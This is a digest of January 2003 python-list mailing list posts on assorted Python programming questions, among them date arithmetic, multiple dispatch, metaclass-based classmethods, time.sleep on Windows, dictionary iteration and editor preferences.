Message-ID: <BA4624FE.1EBF%c1572young@earthlink.net>

I've just gotten Mac OS 10.2, and I'm amazed at how much search capability I
suddenly have with all the Unix BSD commands available for searching files,
etc. It's been 10 years or so since I dealt with Unix, though, and I'm
trying to figure out the best way to search for "and"
combinations of words in my files.  The "Find" window in the Finder matches
to easily -- if _any_ of the words occur.

Say I want to find only those files that have _both_ "apple" and
"orange" in them.  The command

    egrep 'apple|orange' {directory}

finds either one. Is there a way to do this with egrep? Or is something
like "perl" or "sed" better?  I want to end up with a list of files and,
if possible, the lines and line numbers where matches were found.

What would be great is some way of being able to specify how close the
words were and other details.

Thanks very much for any help.

-- Chris Young c1572young at earthlink.net



Sent using the Entourage X Test Drive.

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030112/1ae87992/attachment.html>

From johnroth at ameritech.net  Mon Jan 27 14:54:31 2003
From: johnroth at ameritech.net (John Roth)
Date: Mon, 27 Jan 2003 14:54:31 -0500
Subject: The "beaty" of date arithmetic
References: <6e990e29.0301222352.2ebb5c1e@posting.google.com>
Message-ID: <v3b3h9gl7vha60@news.supernews.com>

"Hans-Joachim Widmaier" <hjwidmaier at web.de> wrote in message
news:6e990e29.0301222352.2ebb5c1e at posting.google.com...
> Hello, my knowledgeable and helpful pythonistas! (A little flattery
> can't hurt :))
>
> I have a small program sitting in my FvwmButtons that allows me to
> connect and disconnect to the Internet. It shows me the accumulated
> time and volume as well as  a xload-like graph for the transfer speed.
> But this is just to give some context, so you can deduce what I'm
> after even if my explanation in this not-my-mother-language ain't good
> enough.
>
> Here goes: The accounting is done by months starting at a given day.
> Now I want to write a summary line in my log file (for the previous
> month) whenever a new accounting month starts. So I wrote a function
> that returns me the first and last day of a month interval which
> contains a certain time ("previous" thus means "month with any online
> time at all"). This would be easy if there wasn't the possibility for
> "first day" being 1 -- the day before that isn't just "n-1".
>
> Now here's (finally) my solution:
> --------------------------------------------------------
> def getDateInterval(ttime, fday):
>     """Return a month-interval starting at day |fday| and including
> |ttime|."""
>     start = list(time.localtime(ttime))
>     # Calculate first day
>     if start[2] < fday:
> # Must be last month
> start[1] -= 1
> if start[1] < 1:
>     start[1]  = 12
>     start[0] -= 1
>     # The last day is the day before next month's first day
>     start[8] = -1 # set DST to unknown
>     start[2] = fday
>     end = start[:]
>     end[1] += 1
>     if end[1] > 12:
> end[1]  = 1
> end[0] += 1
>     end = time.localtime(time.mktime(end) - 86400)
>
>     return start[:3], end[:3]
> --------------------------------------------------------
>
> All I'm asking for is: Is there a way to do it that's not as butt-ugly
> as this?
> Somehow it looks pathetic to me ...

What's even uglier is that you're mixing spaces and tabs for
indentation.
How do I know? Outlook Express completely ignores tabs, so many
of your lines are incorrectly indented. I'm sure that's not how  your
source
looks like on your machine.

As Tim comments, there are no universal answers when it comes
to the "fuzzy" areas of date arithmetic. What you want is completely
application dependent. Any package that tries to give you a universal
answer is going to be wrong for someone, and most likely for a
lot of someones.

What I usually do is convert dates to astronomical days and then
do the arithmetic. (Astronomical days begin at 0 for some day
in 4700 BC, and count up from there.) Months are 30.6 days and
years are 365.2425 days. You can get awfully close, which is quite
good enough for me.

John Roth


>
> Thanks for any thoughts,
> Hans-Joachim





From gminick at hacker.pl  Wed Jan 22 07:51:19 2003
From: gminick at hacker.pl (Wojtek Walczak)
Date: Wed, 22 Jan 2003 12:51:19 +0000 (UTC)
Subject: dynamic variables; globals
References: <3E2E8A95.FE285970@ncsa.uiuc.edu>
Message-ID: <b0m447$s0u$1@news.tpi.pl>

Dnia Wed, 22 Jan 2003 06:12:05 -0600, Randy Heiland napisa?(a):
>>>> def func(sarg):
> ...   exec(sarg)
> ...
>>>> func('foo=11')
>>>> func('print foo')
[...]
> Style & security notwithstanding, is there some way to add a dynamic
> variable to the globals list?
It's not too useful, but it works:

def blah(q):
   exec(q)

blah('blah.func_globals["foo"]=11')
blah('print foo')

-- 
[ ] gminick (at) underground.org.pl  http://gminick.linuxsecurity.pl/ [ ]
[ "Po prostu lubie poranna samotnosc, bo wtedy kawa smakuje najlepiej." ]



From pedronis at bluewin.ch  Fri Jan  3 09:26:37 2003
From: pedronis at bluewin.ch (Samuele Pedroni)
Date: Fri, 3 Jan 2003 15:26:37 +0100
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org> <3e14589e_5@news.bluewin.ch> <mailman.1041585365.7351.python-list@python.org>
Message-ID: <3e159dcc_2@news.bluewin.ch>

"David Mertz" <mertz at gnosis.cx> ha scritto nel messaggio
news:mailman.1041585365.7351.python-list at python.org...
> "Samuele Pedroni" <pedronis at bluewin.ch> wrote previously:
> |Unless you have only single inheritance and so you don't need
> |linearization of class hierarchies, I don't think the weighted
> |approach is manageable.
>
> Well...  I think Damian Conway is pretty smart guy.  And the weighted
> approach is what he did in his Perl version.  I'm not necessarily in
> favor of that linearization over others, but I don't see anything
> obviously wrong about it.

Damian Conway on his method:

"some languages (e.g. CLOS) take a different approach -- breaking the tie by
a recount on the inheritance distance of each argument starting from the
left. In this example, that would mean that the call would be dispatched to
put_peg(RoundPeg,Hole), since the left-most parameter of that variant is a
``closer'' match than the left-most parameter of the put_peg(Peg,SquareHole)
variant.

In the author's opinion, this approach is appalling, since it favours one
parameter above all others for no better reason than it comes first in the
argument list. But there is no reason why pegs should be more significant
than holes. Moreover, arbitrarily resolving the dispatch in this way will
often mask a fundamental design flaw in the multimethod."

If those are the worries then I would go the Dylan route: the applicable
methods' signatures should be all comparable given the class precedence list
of the arguments otherwise the dispatch is ambiguous.

This avoids masked flaws and avoid guessing. This is an ideal for something
like an arithmetic operator, figure intersection etc

In practice sometimes choosing to break ties using some order on the
arguments can be useful, what one gets is like chaining single inheritance
dispatch. Also in this case it is not hard to have a grasp on what will
happen.

So I think that a multi method dispatch mechanism should provide support for
both approaches.

About the weighted approach:
- Python uses linearization (the mro) for single dispatch, your
implementation uses that to compute the "inheritance distance", and I don't
know what Perl counterpart does
- "inheritance distance" in the presence of multiple inheritance is for sure
a tricky thing to get right and manageable.

the problem is that it is hard to have a firm grasp on dispatching and the
results can feel rather arbitrary,  consider

class A(object): pass
class B(A): pass
class C(B): pass

the signatures

(A,B)
(B,A)

are ambiguous for Dylan no matter what, now with the weighted approach if we
dispatch on (C,C) for example
[I'm using a modified version of weighted_mro that returns matches]

>>> m=[[(A,B),None,None],[(B,A),None,None]]
>>> scratch.weighted_mro((C,C),m)
[(3, [(<class '__main__.A'>, <class '__main__.B'>), None, None]), (3,
[(<class '__main__.B'>, <class '__main__.A'>), None, None])]

they are ambiguous.

Now:

class D(A): pass
class E(C,D): pass

(E's mro (C3 or 2.2) is E,C,B,D,A,object )

>>> m=[[(A,B),None,None],[(B,A),None,None]]
>>> scratch.weighted_mro((C,E),m)
[(4, [(<class '__main__.A'>, <class '__main__.B'>), None, None]), (5,
[(<class '__main__.B'>, <class '__main__.A'>), None, None])]

go figure.

regards.





From james.kew at btinternet.com  Sat Jan 18 15:31:34 2003
From: james.kew at btinternet.com (James Kew)
Date: Sat, 18 Jan 2003 20:31:34 -0000
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain>
Message-ID: <b0cdjh$nsnhe$1@ID-71831.news.dfncis.de>

Grant Edwards wrote:
> In article <Xns9307CD595EDCBrcamesz at amesz.demon.nl>, Robert Amesz
> wrote:
>> No, it's not "looked down upon". Take, for example, the % operator
>> for strings: it allows things like:
>
> That's operator overloading, which I think of as different than
> function/method overloading.

Yes and no. Operator overloading allows you to provide your own definitions
for operators. Method overloading allows you to provide multiple versions of
a method for different argument types.

Operator overloading is directly supported in Python. Method overloading
isn't, but Robert's examples -- using the % operator on string with integer,
sequence, and directory arguments -- illustrates how Python methods can
simulate it by being liberal in what they accept.

> For whatever historical reasons, operator overloading and
> function/method overloading are usually considered as two separate
> language features.  C and python have the former but not the latter.

*cough* C has neither.

--
James Kew
james.kew at btinternet.com





From theller at python.net  Thu Jan 23 13:59:33 2003
From: theller at python.net (Thomas Heller)
Date: 23 Jan 2003 19:59:33 +0100
Subject: ANN: kobra - a .NET wrapper library for Python
References: <yHLX9.7432$AV4.1766@sccrnsc01>
Message-ID: <y95b4rqi.fsf@python.net>

"Chetan Gadgil" <cgjunkaddr at attbi.com> writes:

> Hi
> 
> I have written a .NET wrapper library using Managed C++.
> Still under development, but still, usable in many ways.
> 
> http://www.gadgil.net/DotNetWrapperForPython.htm
> 
> Chetan Gadgil

This looks very interesting.  Unfortunately I don't know enough about
.NET to really be able to try it out. (But, also unfortuately,
this will have to change =:)

I'm eager to see the source code to understand what's going on ;-)

Thomas



From dave at pythonapocrypha.com  Thu Jan 16 15:19:30 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Thu, 16 Jan 2003 12:19:30 -0800 (PST)
Subject: comprehensions was Re: Switch statements again
In-Reply-To: <b06tav$236$1@slb0.atl.mindspring.net>
References: <1042670767.3e25e4afa12e5@www.progoth.com>
 <mailman.1042672181.22990.python-list@python.org>
 <a8b7f07a.0301160724.424a1025@posting.google.com> <200301160736.18786.shalehperry@attbi.com>
 <mailman.1042735052.21676.python-list@python.org> <b06tav$236$1@slb0.atl.mindspring.net>
Message-ID: <Pine.LNX.4.51.0301161213340.9345@ns0.tbye.com>

On Thu, 16 Jan 2003, Andrew Dalke wrote:

> > FWIW, I found simple list comprehensions to be one of the least taxing
> > Pythonisms to get used to - IMO the syntax maps very obviously to the
> > behavior.
>
> It wasn't as obvious to everyone.

Nor would I expect it to be - most likely it has as much to do with
previous experience as anything else (e.g. I have a weak background in
functional languages, so idioms from those languages are less obvious to
me).

I just don't think it is some _big_ stumbling block for _nearly all_
newbies, and I definitely disagree that list comprehensions always (per
the OP) reduce readability, that's all.

Have fun,
-Dave




From ark at gmx.net  Fri Jan 24 08:03:55 2003
From: ark at gmx.net (Arne Koewing)
Date: Fri, 24 Jan 2003 14:03:55 +0100
Subject: Why is 2.3 = 2.2999999999999998 ?
References: <b0puig$o99@news.Informatik.Uni-Oldenburg.DE>
Message-ID: <b0rdma$ba3@news.Informatik.Uni-Oldenburg.DE>

First of all, thank you for all detailed responses!
I should have known it. but i had some unittests failing 
(scipy package) and did not really realise that this 'bug' was in the
testsuite...





From rudy.schockaert at pandora.be  Thu Jan 16 14:29:04 2003
From: rudy.schockaert at pandora.be (Rudy Schockaert)
Date: Thu, 16 Jan 2003 19:29:04 GMT
Subject: Binary search
References: <4OcV9.12866$ym5.2006@afrodite.telenet-ops.be>	<b03sui$shn$1@news.netpower.no>	<m3n0m2e4ih.fsf@mira.informatik.hu-berlin.de>	<b050t9$vtp$0@216.39.172.122> <3E260BCE.5060201@v.loewis.de>	<3E2626D2.10094FC1@engcorp.com> <b06bkk$amv$0@216.39.172.122>	<3E26BA12.A8E9260B@engcorp.com> <mailman.1042738235.28171.python-list@python.org> <3E26F3F3.928C67A5@engcorp.com>
Message-ID: <4KDV9.15912$ym5.2290@afrodite.telenet-ops.be>

Sorry guys if I caused so much confusion. I did indeed cancel my first post
as I noticed myself that 'binary search' would cause confusion. What I
actually was looking for was 'searching for a binary sequence in binary
data'.
Martin Lowis gave me the correct code. I was simply not aware I could use
the built in function 'find' on binary data with a binary argument.

Rudy the newby



"Peter Hansen" <peter at engcorp.com> schreef in bericht
news:3E26F3F3.928C67A5 at engcorp.com...
> "Christopher A. Craig" wrote:
> >
> > Peter Hansen <peter at engcorp.com> writes:
> >
> > > Please don't try to change history.  You're conveniently leaving out
> > > part of the query.  An accurate quotation is this:
> >
> > The message you quoted
> > (<4OcV9.12866$ym5.2006 at afrodite.telenet-ops.be>) was posted at
> > Wed, 15 Jan 2003 13:50:08 MET according to Telenet
> >
> > The message Bengt quoted
> > (<vIcV9.12859$ym5.1964 at afrodite.telenet-ops.be>) was posted at
> > Wed, 15 Jan 2003 13:44:11 MET according to Telenet
> >
> > There was only 6 minutes between them, but he is not trying to change
> > history.
>
> I thought there might be a case of cancelled posts involved...
> I never saw the original, I guess, since the first one I saw already
> included the correction.
>
> Usenet...  and users thereof...  ;-)
>
> -Peter





From bokr at oz.net  Thu Jan  9 16:27:38 2003
From: bokr at oz.net (Bengt Richter)
Date: 9 Jan 2003 21:27:38 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <mailman.1042111336.29448.python-list@python.org> <28sq1v881mp1jki155gal6mtsqt59ujtqt@4ax.com> <mailman.1042118119.29945.python-list@python.org> <ihgT9.21296$u9.18028@fe08> <v85r1v0qlrqdtg0iooru2l88578983cfns@4ax.com>
Message-ID: <avkpga$mks$0@216.39.172.122>

On Thu, 09 Jan 2003 15:29:19 GMT, Afanasiy <abelikov72 at hotmail.com> wrote:
[...]
>
>When someone like Dalke trolls I will always react.

Whether your perception is correct or not, "I will always react"
is delegating to others a lot of power over your life ;-)

If you find a suitable match, you will have infinite recursion.
Consider the pitiable madness in the Middle East and elsewhere,
where people helplessly "always react" ;-/

Regards,
Bengt Richter



From claird at lairds.com  Fri Jan 17 20:29:09 2003
From: claird at lairds.com (Cameron Laird)
Date: Sat, 18 Jan 2003 01:29:09 -0000
Subject: Towards a Python machine?
References: <r3ah2vct96fthj6s6iq1albk9vbap48nsk@4ax.com>
Message-ID: <v2hbf5q4a3mgb9@corp.supernews.com>

In article <r3ah2vct96fthj6s6iq1albk9vbap48nsk at 4ax.com>,
John Hall  <wweexxsseessssaa at telusplanet.net> wrote:
>Here 
>
>http://www.osnews.com/story.php?news_id=2548
>
>is a short article about commonalities between OSs and programming
>languages (perl Python & Ruby), and ruminations about a
>[your-language] ahrdware implementation.
>
>Years ago there was talk (isn't there always?) about Forth-on-a-chip
>or was that Forth-in-a-box? Did it come to anything?
			.
			.
			.
Both.  It came to several things: <URL:
http://www.ultratechnology.com/chips.htm >.

Forth continue to have the power to blow minds:
<URL: http://www.colorforth.com/1percent.html >.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From andrew-pythonlist at puzzling.org  Thu Jan 16 05:24:17 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Thu, 16 Jan 2003 21:24:17 +1100
Subject: classmethod() not inherited?
In-Reply-To: <20030116044334.E13035@localhost.localdomain>
References: <20030116044334.E13035@localhost.localdomain>
Message-ID: <20030116102417.GA1906@frobozz.local>

On Thu, Jan 16, 2003 at 04:43:35AM -0500, Jack Diederich wrote:
> How is it possible to have classmethods still be
> classmethods in their kids?
> 
> -- file Test.py --
> class Base(object):
>   def foo(cls):
>     return 'BASE!'
>   foo = classmethod(foo)
> 
> class A(Base):
>   def foo(cls):
>     return 'some value'
> 
> class B(Base):
>   def foo(cls):
>     return 'some other value'
> 
> class Z(Base):
>   def foo(cls):
>     return 'something else still'
> 
> I'd like to have ALL of the derivitives of Base
> have foo as a classmethod, but it doesn't seem
> to be automatic and the following doesn't work

Well, foo *is* a classmethod in the derived classes -- it's just that you're
replacing it with a foo that's not a classmethod <wink>.

If you really want this, you could write a metaclass:

---
class M(type):
    def __init__(cls, name, bases, dict):
        type.__init__(cls, name, bases, dict)
        if callable(dict.get('foo')):
            setattr(cls, 'foo', classmethod(dict['foo']))

class Base(object):
    __metaclass__ = M      # removing this line gives the old behaviour
    def foo(cls):
      return 'BASE!', cls

# ... A, B and Z as before ...

for x in (Base(), A(), B(), Z()):
    print x.foo()
---

This will print:
('BASE!', <class '__main__.Base'>)
('some value', <class '__main__.A'>)
('some other value', <class '__main__.B'>)
('something else still', <class '__main__.Z'>)

Instead of:
('BASE!', <__main__.Base object at 0x8121a6c>)
('some value', <__main__.A object at 0x81141d4>)
('some other value', <__main__.B object at 0x811345c>)
('something else still', <__main__.Z object at 0x814c644>)

Of course, extending it to do this to all overridden classmethods, instead
of being hard-coded to 'foo', is a little trickier, but not much...

-Andrew.





From grante at visi.com  Thu Jan  9 16:14:25 2003
From: grante at visi.com (Grant Edwards)
Date: 09 Jan 2003 21:14:25 GMT
Subject: get instance name  inside of member function
References: <3E1D869F.2050809@emsys.de>
Message-ID: <3e1de631$0$25512$a1866201@newsreader.visi.com>

In article <3E1D869F.2050809 at emsys.de>, Ralf Oberl?nder wrote:

> is it possible to get the name of the instance inside a member function:

http://www.python.org/cgi-bin/faqw.py?req=show&file=faq04.097.htp

-- 
Grant Edwards                   grante             Yow!  Do you need
                                  at               any MOUTH-TO-MOUTH
                               visi.com            resuscitation?



From peter at engcorp.com  Fri Jan 24 17:36:32 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Jan 2003 17:36:32 -0500
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <3E31568E.FD9C92B5@engcorp.com> <b0s6fq$95s5@eccws12.dearborn.ford.com>
Message-ID: <3E31BFF0.9B12EE62@engcorp.com>

Michael Tiller wrote:
> 
> I want to be clear about something.  I have no particular fondness for
> the...
> if (a=b) then ...
> "feature" in C.  > My main problem is that I wanted to do involved mutually
> exclusive cases, e.g.,
> 
> if (match=re.match(pattern1,string)):
>   // Hey I found something that matches pattern1
> elif (match=re.match(pattern2,string)):
>   // This matches pattern2
> elif (match=re.match(pattern3,string)):
>   // This matches pattern3
> else:
>   // I didn't find a match
> 
> Now for those who think that the above code is "obfuscated", I would argue
> that this is far worse:
[snip ugly non-Pythonic alternative]

There are probably "better" ways of approaching this in Python than trying
to structure it with a large series of if/elif's, even if Python had the
construct you were seeking.  The approach I would choose would probably be 
to put the various patterns in a nice list of tuples along with function 
references which actually implement the code I need, then iterate over it
with a simple for loop, calling the function corresponding to whichever
pattern first matches.  Anything complex enough to need a structure like 
the above, in my opinion, needs to have the subordinate code blocks ripped 
out to separate functions, just for maintainability.  Maybe that's just me 
though...

-Peter



From theller at python.net  Fri Jan 17 04:36:20 2003
From: theller at python.net (Thomas Heller)
Date: 17 Jan 2003 10:36:20 +0100
Subject: time.sleep() under Windows
References: <e3df2vg0gscsej9gusno0ek1sv2ihn9dvl@4ax.com> <slrnb2fgbo.9k.gerhard.haering@haering.opus-gmbh.net>
Message-ID: <smvsjey3.fsf@python.net>

Gerhard H?ring <gerhard.haering at opus-gmbh.net> writes:

> Chuck <cdreward at riaa.com> wrote:
> > 
> > In Windows 98, if I type:
> > 
> > time.sleep(5)
> > 
> > in the python shell (GUI or console), the shell itself locks up
> > for 5 seconds, and I cannot stop it with a CTRL-C (or rather, it
> > does not respond to the CTRL-C until all 5 seconds have passed).
> 
> That's normal. I believe Ctrl-C only works if anything is currently
> going on with the stdin/out/err files.
> 
> Btw. try Ctrl-Break (on the Pause key) - it works here to interrupt
> time.sleep on Windows 2000.
> 
> > The python shell locks up - I cannot move the window, minimize it, etc.
> 
> Sounds like a Win98 issue.

That may be, but the behaviour has changed in Python 2.3, at least
if you're using Win2k. Now you can interrupt the time.sleep() call
with CTRL-C, and Python can catch a KeyboardError, which CTLR-Creak
still terminates the process.

Mark Hammond implemented this IIRC, it's amazing how complicated this is.

> 
> > The same script, in Linux, runs the way I want it (you can CTRL-C
> > it, the interpreter doesn't lock up, etc). I realize this is just
> > a platform issue...  But is there something else besides
> > time.sleep() that I can use, that is platform independent?
> 
> There are many functions in the Python standard library that are
> platform independent ;-) But for actually sleeping, I think
> time.sleep is the only option. But maybe your app doesn't really
> need to sleep but wait on data to become available? In that case,
> you could use select.select instead.

You cannot interrupt select on Windows with CTRL-C, IIRC.

Thomas



From pythonhda at yahoo.com.replacepythonwithlinux  Sat Jan  4 21:21:05 2003
From: pythonhda at yahoo.com.replacepythonwithlinux (pythonhda)
Date: Sat, 4 Jan 2003 21:21:05 -0500
Subject: php vs python
References: <mailman.1041625688.13638.python-list@python.org>
	<3e16006e$0$230$edfadb0f@dread12.news.tele.dk>
	<3e160151$0$49101$e4fe514c@news.xs4all.nl>
	<3E1621F2.C9FA1D6F@engcorp.com>
	<ba0f1v0hrn572t8tnntkrcfju4e6fkcgob@4ax.com>
	<av82af$6eu$1@knot.queensu.ca>
Message-ID: <20030104212105.22506d99.pythonhda@yahoo.com.replacepythonwithlinux>

or...

for key in d:
	print key, '=', d[key]

On 5 Jan 2003 01:38:23 GMT
aonaran at yahoo.com wrote:

> Afanasiy <abelikov72 at hotmail.com> wrote:
> 
> > How do I loop over an associative array (dictionary) with easy access
> > to key and value variables on each iteration. In PHP I do this :
> 
> >  foreach($table as $key => $value) {
> >    echo $key.'='.$value;
> >  }
> 
> > In PHP, I am unsure how I am supposed to, in some way that makes sense,
> > loop with access to the key in addition to the value (which is easy).
> 
> Assuming you mean it's not clear how to do this in python, the first way
> that comes to mind is just this:
> 
>         # build easy dict
>         d = {1:2,2:3,4:5,5:7,6:11}
> 
>         for key in d.keys():
>             val = d[key]
>             print key,'=',val
> 
> With the introduction of iterators in python 2.2 (IIRC) it's even simpler:
> 
>         for key, val in d.items():
>             print key,'=',val
> 
> 
> Doug
> 
> --
> Queen's University Astronomy Research Group
> Planetary Dynamics Division                     "We create worlds."
> 
> 
> 
> 



From aleax at aleax.it  Fri Jan 31 15:09:56 2003
From: aleax at aleax.it (Alex Martelli)
Date: Fri, 31 Jan 2003 20:09:56 GMT
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <6ob_9.104776$0v.3032021@news1.tin.it> <mailman.1044030403.16193.python-list@python.org> <kyy_9.110036$0v.3176491@news1.tin.it> <mailman.1044038699.8321.python-list@python.org>
Message-ID: <oKA_9.110701$0v.3201903@news1.tin.it>

Donnal Walter wrote:
  ...
> don't understand is how does one determine if they are empty or not?
> 
>     def __init__(self, ref=[]):
>         self.__ref = iteron(ref)
>         if len(self.__ref) > 0:
>             # do something
> 
> produces TypeError: len() of unsized object

The ONLY way you can use a generator is by looping on it (normally
with a for statement, though you may choose to explicitly call
.next() and check for StopIteration being raised -- or, have the
loop be done implicitly for you from builtin functions).

Looping on a generator "consumes" it, so you get to do it only
once.  If you need to loop more than once, you can build a list:

         self.__ref = list(iteron(ref))


Of course, this will consume (potentially) a lot of memory.

To check the number of items in a generator, you basically
need to loop on the generator (you could think of tricks
based on wrapping the generator just to determine if it's
empty or not, but while clever they're unlikely to be worth
it) and thus here you may want to turn it into a list.


Alex




From eppstein at ics.uci.edu  Sun Jan 26 12:04:48 2003
From: eppstein at ics.uci.edu (David Eppstein)
Date: Sun, 26 Jan 2003 09:04:48 -0800
Subject: LCS for word ? or array intersection ?
References: <4c637994.0301231037.13113f5a@posting.google.com> <c76ff6fc.0301260003.6491a23a@posting.google.com>
Message-ID: <eppstein-6BE923.09044826012003@news.service.uci.edu>

gregtehrig at yahoo.fr (Greg Tehrig) wrote in message 
> > i've got a question for the guys from here, i think this might be done
> > by something like decorate/undecorate and LCS (Longest Common
> > Sequence) but  perhaps you had a better idea than mine.
> > 
> > for example :
> > s1 = """this is a line containing an example"""
> > s2 = """this is another sentence containing 12 words and it is another example"""
> > 
> > and need following output:
> > ["""this is""", """containing""", """example"""]
> > ["""a line""", """an example"""]

Not sure whether this is exactly what you're looking for, but:

>>> import lcs
>>> s1 = """this is a line containing an example"""
>>> s2 = """this is another sentence containing 12 words and it is 
another example"""
>>> lcs.longestCommonSubsequence(s1.split(" "), s2.split(" "))
['this', 'is', 'containing', 'example']

This is with the lcs code I had in
http://www.ics.uci.edu/~eppstein/161/python/lcs.py

Undecorating to get the words of s1 not in the lcs (your second output) 
looks straightforward enough...

-- 
David Eppstein       UC Irvine Dept. of Information & Computer Science
eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/



From donnalcwalter at yahoo.com  Mon Jan  6 07:11:16 2003
From: donnalcwalter at yahoo.com (Donnal Walter)
Date: Mon, 6 Jan 2003 06:11:16 -0600
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <d8mf1vsm6271d5m4nao9t91dcs7m865n82@4ax.com> <slrnb1go12.kv8.grante@localhost.localdomain> <pjah1v0g2k0bll013pbmtspmvl6vd67ojn@4ax.com> <3E18EA7D.3CDD9E81@engcorp.com>
Message-ID: <avbrn8$c34$1@main.gmane.org>

"Peter Hansen" <peter at engcorp.com> wrote in message
news:3E18EA7D.3CDD9E81 at engcorp.com...
> Afanasiy wrote:
> >
> > On 05 Jan 2003 16:37:08 GMT, Grant Edwards <grante at visi.com> wrote:
> >
> > >In article <d8mf1vsm6271d5m4nao9t91dcs7m865n82 at 4ax.com>, Afanasiy
wrote:
> > >> On Sun, 5 Jan 2003 01:40:25 -0500, "Etienne Charland"
> > >
> > >> As far as I know, Python has nothing as good as the .NET WinForms
> > >> wrapping of native Win32 interface components. Mark Hammond has
wrapped
> > >> MFC, but that does not compare to WinForms.
> > >
> > >I don't know much about WinForms, but wxWindows and Gtk both provide
> > >nice frameworks around native Win32 UI components.
> >
> > Not really... Wx is fairly buggy and unstable,
>
> This has not been my experience with wxPython...
>
> What problems have you encountered?  Or is this based
> on reports you've read somewhere?  Maybe you're talking
> about a specific platform?  I've used it only on Windows
> so far, not on Linux or the Mac...

wxPython works well for me (I'm using Windows, also).

Donnal Walter
Arkansas Children's Hospital









From hgg9140 at seanet.com  Thu Jan  2 22:11:12 2003
From: hgg9140 at seanet.com (Harry George)
Date: 02 Jan 2003 19:11:12 -0800
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org>
Message-ID: <m3isx76i7j.fsf@wilma.local>

Steve Lamb <grey at despair.dmiyu.org> writes:

> On Thu, 02 Jan 2003 23:25:06 -0800, faust <urfaust at optushome.com.au> wrote:
> > Emacs is always the answer....
> 
>     Ah yes, Emacs.  Emacs is the proof that even the most die hard unix fan
> can succumb to creeping featurism.  Why?  Well think about it, "the unix way"
> is to have a collection of small tools which are interchangable, communicate
> with each other well and each do their specific task quite well.  "The windows
> way" is to lump every unrelated task into every program in an attempt to out
> check-box the competition on a comparisoon pamphlet.  Now, I ask you, which
> describes Emacs?  Clearly the latter.
> 
>     I never quite understood what a mail and news reader had to do with
> editing files yet every time the "best mail|news reader for unix" comes up
> gnus is top of the list.  Noone has yet to explain to me why I would want to
> install a 20+Mb editor just for a newsreader.  As a result I stick to slrn
> which calls my preferred editor (was joe, then jed, now vim).  Seems the
> sensible way to do things.  The reader calls the editor, not the editor
> contains the reader.
> 
>     Of course people have called Emacs a "work environment".  Fine.  When
> people ask for an editor don't reply with a "work environment".  Especially
> one where most of its die-hard fans will admit takes quite a bit of
> customization to even be moderately productive.  They asked for an editor, not
> a practical project to learn Lisp.
> 

Let's stay on topic, which is editing for python.  

I've trained up a dozen or so newbies on python over the last few
years.  I always offer them the option of their favorite editor.  We
get some vim, emacs, nedit, notepad, idle, jot, and others I can't
remember.  But when it gets serious, as in XP sessions (two people on
one keyboard), the emacs guys are far more productive.  As far as I
can tell, the vim guys are faster keystroke-by-keystroke, but the
emacs guys are more productive overall.  The notepad guys weren't
productive enough to be a fair sampling of the editor itself (they
weren't really programmers).  I haven't seen enough experienced idle
or scintilla people to have an opinion there.

It becomes obvious in those XP sessions what is happening, so people
from various editing backgrounds tend to end up in emacs.  BTW, none
of us writes emacs-lisp -- we just use vanilla installations on SGI
IRIX, IBM AIX, HP HPUX, SUN Solaris, MS Win95, MS WinNT, MS Win2K.

It is also my experience that newbies who don't have a strong
preference for an editor can learn to use emacs minimally at first,
using menu picks, and gradually add more features and shortcut
keystrokes as need arises.

I personally find emacs (with python-mode.el of course) is as
productive as I can think, so that's what I use.  Beyond that, I let
everyone pick his/her own editor.  As long as you are productive and
maintain the 4-spaces rule for tabs, we can work together.

> -- 
>          Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
>          ICQ: 5107343          | main connection to the switchboard of souls.
>     To email: Don't despair!   |  -- Lenny Nero, Strange Days
> -------------------------------+---------------------------------------------



From boethius at techie.com  Thu Jan 16 11:20:15 2003
From: boethius at techie.com (Boethius)
Date: 16 Jan 2003 08:20:15 -0800
Subject: Retrieve the argument list of a function
Message-ID: <67446a0a.0301160820.1b9d0acb@posting.google.com>

How can I retrieve the argument list of a given function?

I want to write a function that returns curried versions of other
functions, that's why I want to access the argument list.